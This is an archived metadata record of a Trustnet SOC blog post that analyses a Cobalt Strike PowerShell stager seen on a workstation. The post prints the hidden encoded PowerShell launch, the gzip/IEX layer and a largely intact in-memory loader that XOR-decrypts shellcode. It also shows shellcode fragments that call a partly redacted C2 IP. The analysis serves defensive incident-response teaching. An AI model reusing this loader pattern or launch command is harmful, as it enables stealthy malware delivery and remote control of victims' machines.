{
	"id": "6ca36fa8-8f89-4906-af4c-e151b82a9b87",
	"created_at": "2026-04-06T02:11:53.431624Z",
	"updated_at": "2026-04-10T13:12:06.137423Z",
	"deleted_at": null,
	"sha1_hash": "0596bcc60dac1a861c045210659726d6987f9469",
	"title": "From virus alert to PowerShell Encrypted Loader – Trustnet",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 69095,
	"plain_text": "From virus alert to PowerShell Encrypted Loader – Trustnet\r\nPublished: 2020-11-15 · Archived: 2026-04-06 01:37:27 UTC\r\nNovember 15, 2020 | By Michael Wainshtain Technical Team Leader\r\nFrom virus alert to PowerShell Encrypted Loader\r\nIt was a Friday afternoon, attending my shift, doing regular SOC related activities, receiving multiple virus notifications and\r\ncompliance alerts from here and there. In the interim, all of a sudden, we received a high severity alert – “most likely\r\nmalicious PowerShell execution fired!”\r\nAs the affected device was a user workstation, as per our Incident Response Processes, our configured Security\r\nOrchestration, Automation, and Response (SOAR) solution executed a predefined playbook isolating the device. While the\r\nSOAR unrelentingly enriched the security incident, our Shift A responder commenced the manual investigation of the\r\ncommand line:\r\nLet’s break it down!\r\n **A few notes:\r\n1. In most cases, foreign code or scripts largely has a few layers of obfuscation or encryption and in some cases both –\r\nto avoid detection and response.\r\n2. We recommend using CyberChef and other techniques/tools you are familiar within your environment. In case, if you\r\nare unfamiliar with CyberChef, it’s high time – we would recommend you get acquainted with it.\r\n3. We have added ## before any comments I write in the code itself.\r\nThe First detection examined was PowerShell encoded command:\r\nLayer 1 – PowerShell Encoded Command:\r\n\"powershell -nop -w hidden -encodedcommand JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8 \u003cREDACTED\u003e\r\ncAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApACkAKQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK\r\n## We base64 decoded this and received the following ##\r\nLayer 2 – Gzip-stream with further command/instructions:\r\n\"$s=New-Object IO.MemoryStream(,\r\n[Convert]::FromBase64String(\"H4sIAAAAAAAAAK1XWW/iyBZ+Dr/CD5EAQdI\u003cREDACTED\u003epwARo5L7jAwNlKUAzWCm6ElISo72/AS9R1K4DDgAA\"));IEX\r\n(New-Object IO.StreamReader (Ne\r\nw-Object IO.Compression.GzipStream ($s,[IO.Compression.CompressionMode]::Decompress))).Read…\r\n## So, what’s happening here?\r\n## 1. Created a new IO memory stream.\r\n## 2. Populated $s variable with the base64 data (**think about a zip file without the physical file).\r\n## 3. Decoded the base 64 from $s variable.\r\n## 4. Invoked the code we got after decoding the base64 stream.\r\nLayer 3 – PowerShell code to inject foreign code into memory after decrypting:\r\n$DoIt = @'function func_get_proc_address {\r\n Param ($var_module, $var_procedure)\r\n $var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object {\r\n$_.GlobalAssemblyCache -And $_.Location.Split('\\\\')[-1].Equals('System.dll')\r\n}).GetType('Microsoft.Win32.UnsafeNativeMethods')\r\n $var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]]\r\n@('System.Runtime.InteropServices.HandleRef', 'string'))\r\n return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object\r\nSystem.Runtime.InteropServices.HandleRef((New-Object IntPtr),\r\n($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))}\r\n## Functions that are related to memory, assemblies \u0026 memory injections\r\nhttps://www.trustnet.co.il/blog/virus-alert-to-powershell-encrypted-loader/\r\nPage 1 of 2\n\n[Byte[]]$var_code =\r\n[System.Convert]::FromBase64String('38uqIyMjQ6rGE\u003cREDACTED\u003ePtB0KrHKV1CE/KJMG18tUiogp8e3lJoSYsissEPRCmCSvZZTnfOOkbbYjnZeKojS9OWgXXc9kljSyM\r\n## base64 code to populate data which threat actor does not want us to see in clear text  ##\r\nfor ($x = 0; $x -lt $var_code.Count; $x++) { $var_code[$x] = $var_code[$x] -bxor 35}\r\n## Predefined XOR key to 'decrypt' the code before invoking it ##\r\nIf ([IntPtr]::size -eq 8) { start-job { param($a) IEX $a } -RunAs32 -Argument $DoIt | wait-job | Receive-Job\r\n## execution function will invoke ‘THIS’ after the code was decrypted ##\r\nLayer 4 – XOR Encrypted Code that will be injected into memory:\r\nüè....`.å1Òd.R\u003cREDACTED\u003eU.#..Ô¬.\r\n.User-Agent: Mozilla/4.0 (compatible; \u003cREDACTED\u003e; Trident/4.0; SLCC2; .NET CLR 2.0.50727)\r\n.R. \u003cREDACTED\u003e.ýÿÿ185.147. \u003cREDACTED\u003e\r\n## Here we see and collect:\r\n## REDACTED User Agent IOC\r\n## REDACTED IP address IOC\r\n## The code that was loaded earlier into memory will go to the IP mentioned above and retrieve the next\r\nstep\\stage\\file\\command from the C2 control server.\r\nPost a rapid triage and attribution, our responder concluded that this is a PowerShell stager with encoded and XOR\r\nencrypted shellcode related to Cobalt Strike.\r\nCobalt Strike is a pioneering toolkit used across multiple levels of intrusion to solve intruder’s difficulties such as post\r\nintrusion exploitation, stealth, and reconnaissance, and beaconing for C2C (command and control).\r\nIn general, such staged payloads may provide the privilege for an attacker to transfer trivial binaries to a targeted host\r\nretrieving the desired payload afterward, as we see in our case above. Cobalt Strike in a way is also one of the most\r\npreferred post-exploitation agents used by red teams and adversaries, to emulate or target long-term embedded threat actors\r\nin a corporate network.\r\nWhen you see Cobalt Strike in your environment, either one of the following is going on:\r\n1. You currently amidst of an ongoing RED team engagement\r\nOR\r\n2. You have a threat actor in your environment\r\nWhen dealing with cyber crimes, an indication of Cobalt Strike beacons and implants usually happens in advanced phases in\r\nthe attack chain. The Cobalt Strike communication is generally seen next to the LAST stages of the attack.\r\nFor us, in this case, we had a very non-standard incident of a word document loading to Cobalt Strike – this is something\r\nthat you don’t see every day. This incident will be further examined and investigated by our team with the emphasis on\r\nunderstanding – who could have sent these malicious documents, and especially why??\r\nGot anything to say?\r\nVisit our blog or Follow Us on Facebook Page for the latest news and insights on cybersecurity.\r\nStay Safe with TrustNet!\r\nSource: https://www.trustnet.co.il/blog/virus-alert-to-powershell-encrypted-loader/\r\nhttps://www.trustnet.co.il/blog/virus-alert-to-powershell-encrypted-loader/\r\nPage 2 of 2",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.trustnet.co.il/blog/virus-alert-to-powershell-encrypted-loader/"
	],
	"report_names": [
		"virus-alert-to-powershell-encrypted-loader"
	],
	"threat_actors": [],
	"ts_created_at": 1775441513,
	"ts_updated_at": 1775826726,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/0596bcc60dac1a861c045210659726d6987f9469.pdf",
		"text": "https://archive.orkl.eu/0596bcc60dac1a861c045210659726d6987f9469.txt",
		"img": "https://archive.orkl.eu/0596bcc60dac1a861c045210659726d6987f9469.jpg"
	}
}